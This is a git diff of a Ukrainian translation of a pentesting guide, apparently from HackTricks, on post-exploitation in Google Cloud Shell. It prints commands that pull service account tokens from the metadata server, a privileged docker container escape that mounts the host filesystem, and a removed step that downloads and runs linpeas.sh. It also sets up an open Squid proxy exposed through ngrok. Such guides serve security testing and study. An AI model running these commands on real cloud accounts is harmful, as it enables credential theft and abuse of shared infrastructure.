Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:13 +00:00
parent 8bcfdb0919
commit 96eb41674d

View File

@@ -10,40 +10,40 @@
../gcp-services/gcp-cloud-shell-enum.md ../gcp-services/gcp-cloud-shell-enum.md
{{#endref}} {{#endref}}
### Container Escape ### Отримання token користувача з metadata
Зверніть увагу, що Google Cloud Shell працює всередині контейнера — ви можете **достатньо легко вийти на хост**, виконавши: Просто отримавши доступ до metadata server, ви можете отримати token, щоб діяти від імені поточного увійшовшого користувача:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Раніше cloud shell запускався в контейнері з доступом до docker socket хоста. Тепер Google змінила архітектуру, і контейнер cloud shell працює в конфігурації "Docker in a container". Тож навіть якщо можливо використовувати docker з cloud shell, ви не зможете escape to the host, використовуючи docker socket.
> Зауважте, що раніше файл `docker.sock` знаходився в `/google/host/var/run/docker.sock`, але тепер його перемістили в `/run/docker.sock`.
<details> <details>
<summary>Container escape commands</summary> <summary>Docker use / Old container escape commands</summary>
```bash ```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
``` ```
</details> </details>
Це не вважається вразливістю з боку google, але дає ширше уявлення про те, що відбувається в цьому оточенні. Крім того, раніше можна було знайти токен для service account, який використовувався cloud shell VM, на metadata server:
Крім того, зверніть увагу, що на хості можна знайти service account token:
<details> <details>
<summary>Get service account from metadata</summary> <summary>Старий service account із metadata</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/ default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
``` ```
</details> З наступними областями доступу:
З наступними scopes:
<details>
<summary>Отримати service account scopes</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
``` ```
</details> </details>
Перелічити метадані за допомогою LinPEAS:
<details>
<summary>Перелічити метадані за допомогою LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном Service Account **жодних дозволів не виявлено**...
### Використати як Proxy ### Використати як Proxy
Якщо ви хочете використовувати ваш google cloud shell екземпляр як proxy, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc): Якщо ви хочете використати ваш google cloud shell instance як proxy, треба виконати такі команди (або вставити їх у файл .bashrc):
<details> <details>
@@ -79,11 +67,11 @@ sudo apt install -y squid
``` ```
</details> </details>
Просто щоб ви знали, Squid is a http proxy server. Створіть файл **squid.conf** з наступними налаштуваннями: Для довідки, Squid — це http proxy server. Створіть файл **squid.conf** з такими налаштуваннями:
<details> <details>
<summary>Створити файл squid.conf</summary> <summary>Create squid.conf file</summary>
```bash ```bash
http_port 3128 http_port 3128
cache_dir /var/cache/squid 100 16 256 cache_dir /var/cache/squid 100 16 256
@@ -92,7 +80,7 @@ http_access allow all
``` ```
</details> </details>
Скопіюйте файл **squid.conf** до **/etc/squid** скопіюйте файл **squid.conf** до **/etc/squid**
<details> <details>
@@ -102,29 +90,29 @@ sudo cp squid.conf /etc/squid
``` ```
</details> </details>
Нарешті запустіть службу Squid: Нарешті запустіть сервіс squid:
<details> <details>
<summary>Запустіть службу Squid</summary> <summary>Запустіть сервіс squid</summary>
```bash ```bash
sudo service squid start sudo service squid start
``` ```
</details> </details>
Використайте ngrok, щоб зробити proxy доступним ззовні: Використовуйте ngrok, щоб зробити proxy доступним зовні:
<details> <details>
<summary>Зробити proxy доступним через ngrok</summary> <summary>Відкрити proxy через ngrok</summary>
```bash ```bash
./ngrok tcp 3128 ./ngrok tcp 3128
``` ```
</details> </details>
Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і номер порту та ввести порт у полі port у налаштуваннях proxy вашого браузера (squid is a http proxy server). Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і порт та вказати порт у полі портів у налаштуваннях проксі вашого браузера (squid — це http proxy server).
Для зручнішого використання під час старту файл .bashrc повинен містити такі рядки: Для зручнішого використання при старті файл .bashrc має містити такі рядки:
<details> <details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
``` ```
</details> </details>
Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть windows) у Cloud Shell. Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть Windows) у Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}